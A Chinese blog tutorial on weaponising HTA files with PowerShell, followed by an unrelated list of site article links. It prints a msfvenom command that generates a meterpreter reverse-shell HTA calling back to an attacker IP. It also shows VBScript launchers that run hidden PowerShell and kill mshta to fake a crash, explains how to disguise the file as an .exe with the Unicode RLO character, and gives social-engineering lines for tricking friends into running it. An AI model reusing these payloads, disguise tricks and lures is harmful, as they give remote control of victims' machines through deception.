众所周知,Powershell早已被集成到了windows的环境中,国外大牛玩得不亦乐乎,而国内圈子却很少听到讨论Powershell的,HTA更不用说了,不是学计算机的或许根本不知道这是什么鬼

Linux下有bash,Windows下有Powershell。Powershell依靠在.NET这个大树下,因此也有了比如直接调用windowsAPI等强大功能和利用价值。

Powershell脚本后缀名为ps1,这种格式不像bat、vbs、exe等双击执行,而是需要经由powershell.exe启动,可以直接使用:

PowerShell.exe -ExecutionPolicy Bypass -File .\script.ps1

在win7和server08后,Powershell被集成在系统中,此举方便了服务器的管理,同样,过分的的强大也让自己危险了很多。

HTA

hta格式,看上去一个陌生的后缀,但实际遨游网络的你天天都接触到,因为它也是网页格式的一种,类似于html/htm ,通过html语法编写内容。

HTA是HTML-Application的缩写,是软件开发的新概念,直接将某个html页面保存成hta的格式,就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。

相关内容:HTA_百度百科

就是个网页!不就是钓鱼嘛!用你教?

答对了,确实类似于钓鱼,但是得补充一下,HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,不但窗口界面跟其他软件相同,同时它也相应的具有类似于VB、C++编写的桌面程序的相同权限(读写文件、操作注册表等)。HTA本来就是被设计为制作桌面程序的,所以能直接调用其他组件执行命令。

总的说,HTA是个披着web外衣的exe应用程序,要是加上Powershell……嘿嘿嘿

 

Powershell利用脚本可以到Github上搜搜,歪果仁们的研究已然很透彻,有很多大牛的渗透脚本可以借鉴。

跳刀躲梅肯,别笑,我要出招了

先举个栗子:hello.hta(栗子没毒,复制粘贴放心食用~)

<!--hello.hta-->
<html>
<head>
<title>hello</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Hello HTA</h1>
<br>
<h2>( ⊙ o ⊙ )/出来吧!计算器!</h2>
<br>
</center>
<script language="VBScript">
Set Hello = CreateObject("Wscript.Shell")
Hello.Run "calc.exe"
</script>
</body>
</html>

虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,毕竟人家是html家里的大哥大,偏应用型的脚本类型,所以说,如果把他想象成双击就能执行的“hta大马”毫不为过!(windows自带hta环境,cmd中输入 mshta 你会发现,已经集成在win环境里了,输入完并不会弹出什么,只是确定不报错就证明有这个东西,所以说白了,运行hta跟运行exe简直一样,双击即可。)在实例hello.hta中的 <HTA:> 是HTA的一些参数设置,设置详情见之前HTA相关内容链接。

已然有了HTA的完美辅助,如果加上Powershell的暴力输出呢?

答案是:你们随便选吧,我来打崩三路。

PS: 写了老久调用powershell的hta,越写越不对劲儿,干脆借鉴Github上人家写的注入ShellCode脚本,打开Matesploit准备生成Shellcode,突然发现msfvenom上原来已经有hta-psh现成的format了,省时省力,那就加以利用好了。(我凑,之前没注意到呢……)

好吧,我们来直接成一个hta-psh的回弹脚本:

msfvenom -p windows/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta

(生成的脚本内容经过base64encode加密,想学习的同学可以把base64部分还原,观察编写语法。)

发给朋友试试,(各种杀毒,安全狗,老大哥型测试环境)直接弹回了一个meterpreter_shell,从点击到回弹间隔了5到6秒,估计因为调用powershell和base64处理时间(第二次貌似点开就快了些),全过程并且没有触发到杀毒,连提醒都没有,真正“开袋即食”。

原因分析:

1. HTA依赖于mshta.exe解析,而mshta.exe是系统下自带的,所以并不用免杀就能直接调用执行,不会像vbs脚本被花式吊打。
2. Powershell嘛,同理是windows的自己人,加上参数 -nop -w hidden 后,能强行绕过UAC执行命令。
3. 端口选取8081也是一个原因,因为很少有杀毒拦截常见的http端口,如 80 / 443 / 21 / 22 / 25 / 445 / 1433 / 3306 / 3389 / 8080 / 8888 等,在不占用的情况下都可加以利用。

如此生僻的格式谁会去点开?怎么利用?

答:我!我!选我!选我!:P

确实,一个hta后缀的文件,见都没见过呢,图标还是个执行文件,打开显示一个白板,十分可疑……!辣摸……这时候就要靠猴子派来的救兵辣!

So,问题来了,你知道Unicode控制符么……

Unicode控制符:控制文字显示属性,实现类似倒序显示等属性设定。而这个特点,在文件名中同样适用!就让我们用控制符给他改个名字,再把内容丰富美化一下,再结合你聪(猥)明(琐)的灵感加上少许社工的魅力,分分钟弹shell不是梦~

来,再举个栗子:deexe.hta

<title>XXX-exp</title>
<center>
<h1>XXX-exp: death.exe</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35%
<br>
</center>
<script language="VBScript">
Set Hackdo = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
End If
</script>

出现这样一个画面,是不是也会让人反应几秒呢~ 停!别喷了,我知道大家比我做的肯定好_(:зゝ∠)_

只要替换其中Powershell命令为:

pwershell.exe -nop -w hidden -e ...base64-ps1-payload-balabalabala...

就能按你所想执行你的命令了!

社工方面,美化可以集思广益,营造出完美的画面效果,哪怕利用控制符保存为html后缀,界面换成黑页。

“新做了个美到没朋友的黑页,来,发给你看看。”——人,所有理性事件中的感性漏洞也。

(理论上可以通过<HTA:>标签来控制图标的,不知为何测试不成功。)

如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住。

<script language="VBScript">
Set Hackdo = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
Hackdo.Run "taskkill /f /im mshta.exe"
End If
</script>

PS: 实际渗透中,得到session后记得赶紧 migrate [another-pid] 哦~

这只是个弹计算器的脚本,大可拷贝下来实际操作一遍,拷贝,新建txt文档,打开,粘贴并保存为名称deexe.hta,右键重命名,光标放在de和exe.hta之间点击右键,选择插入Unicode控制符,点击插入RLO。

Walaaa~ 恭喜获得新名称death.exe!替换成执行msf_reverse,赶紧发给好基友试射新造的核弹!

场景模拟:

“我写了个0day,xxx-server直接秒!先发给你玩玩?”

“好呀好呀!咦?一直读取…… 咦?闪退了……”

“你删了吧!有bug! 我再改改……”

( 1… 2… 3… 弹弹弹,战个痛!

引用

我有两把枪:Powershell + HTA

最新文章

  1. mysql开启慢查询
  2. jsonp 调用天气API
  3. 粗略阅读《Agile Software Development》后的感想
  4. Hitting the 2100 parameter limit (SQL Server) when using Contains()
  5. 文本框按键事件onkeydown、onkeypress、onkeyup区别
  6. Gengxin讲STL系列——Set
  7. not valid for Running the scheme
  8. thoughtworks笔试整理
  9. supermap开发webgis的经验
  10. JavaScript获取浏览器版本等信息
  11. C#的抽象类和接口,区别与相似
  12. 周强 201771010141《面对对象程序设计(java)》第十周学习总结
  13. Python之路(第三十九篇)管道、进程间数据共享Manager
  14. 10.外观模式(Facade Pattern)
  15. from __future__ import unicode_literals
  16. jenkins 结合 jmeter 的报告篇
  17. CSS之清除浮动(span/clearfix)
  18. 二维背包 hdu2159
  19. MVC 如何在action中获取当前网站的根路径
  20. 【Redis学习之三】Redis单节点安装

热门文章

  1. java实现spark常用算子之countbykey
  2. 使用parted 创建一个大于2T的分区
  3. spring容器启动完成后加载自定义逻辑
  4. mysql批量替换zencart数据中的反斜杠\
  5. PHP三种字符串界定符的区别(单引号,双引号,&lt;&lt;&lt;)
  6. stdarg的使用
  7. ZROI 19.08.09模拟赛
  8. PS使用滤镜制作光晕效果
  9. jQuery2.0.3源码
  10. 解决postgresql在docker中无法保存状态的问题